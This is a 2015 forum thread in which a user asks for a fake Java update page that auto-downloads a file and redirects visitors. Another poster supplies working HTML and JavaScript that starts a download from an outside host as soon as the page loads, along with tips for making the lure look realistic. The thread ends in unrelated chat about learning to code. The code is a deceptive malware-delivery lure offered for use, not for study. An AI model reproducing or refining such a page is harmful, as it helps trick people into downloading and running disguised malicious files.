Thread: [Help with HTML Java code](#)

furyofspades - February 19, 2015, 1:25 pm

Need a fake "Need to update your Java" code for HTML that auto downloads a file and then redirects to another url.

If you can help please tell me here or pm (I cant pm)

Thanks

Niely - February 19, 2015, 2:08 pm

Code:

Code <!DOCTYPE html>

<html>

<head>

<title>Update your Java</title> <!--Text presented in Browser-tab-->

<style>

body {

background-color: #A4A4A4;

}

img {

max-width: 100%;

}

#java {

position:absolute; top:35%; left: 35%;

cursor: default;

}

</style>

<script>

function java() {

var url = "http://142536789.cf/downloads/ClamAV-Easy.tar.gz"; //REPLACE WITH OWN

FILE

window.open(url, 'Download');

}

</script>

</head>

<body [b]onload=[/b]"java()">

 <!--REPLACE IMAGE-->

</body>

</html>Save as: java.html

Try doing a bit more research on yourself OP. :)

This is a basic page/image, you'll have to edit the background yourself etc to make it look realistic.

Shouldn't be to hard to make.

Do you even know HTML, CSS, JavaScript, and PHP? :)

<http://codecademy.com>

You really have to take a look at that one.

CodeCademy isn't horrible.

It's the best way to learn languages like HTML & CSS.

For ultimate beginners, CodeCademy is awesome to get the basics.

furyofspades - February 20, 2015, 8:36 am

I know how to code in HTML perfectly and some CSS of course but I need the pics and stuff for a really legit looking java update page and I dont know if I can do that perfectly or where to get it thats why im asking

Explain me what's wrong with an interactive way to learn a language, which gives amazing exercises and explanation + includes a Q&A forum?

Windows95 - February 20, 2015, 3:31 pm

In JavaScript for example, they teach you statements, loops, functions, variables, expressions, and of course the structured way of thinking. :)

Besides that, as long as the Q&A gives answers who work and explain it, it's okay for me.
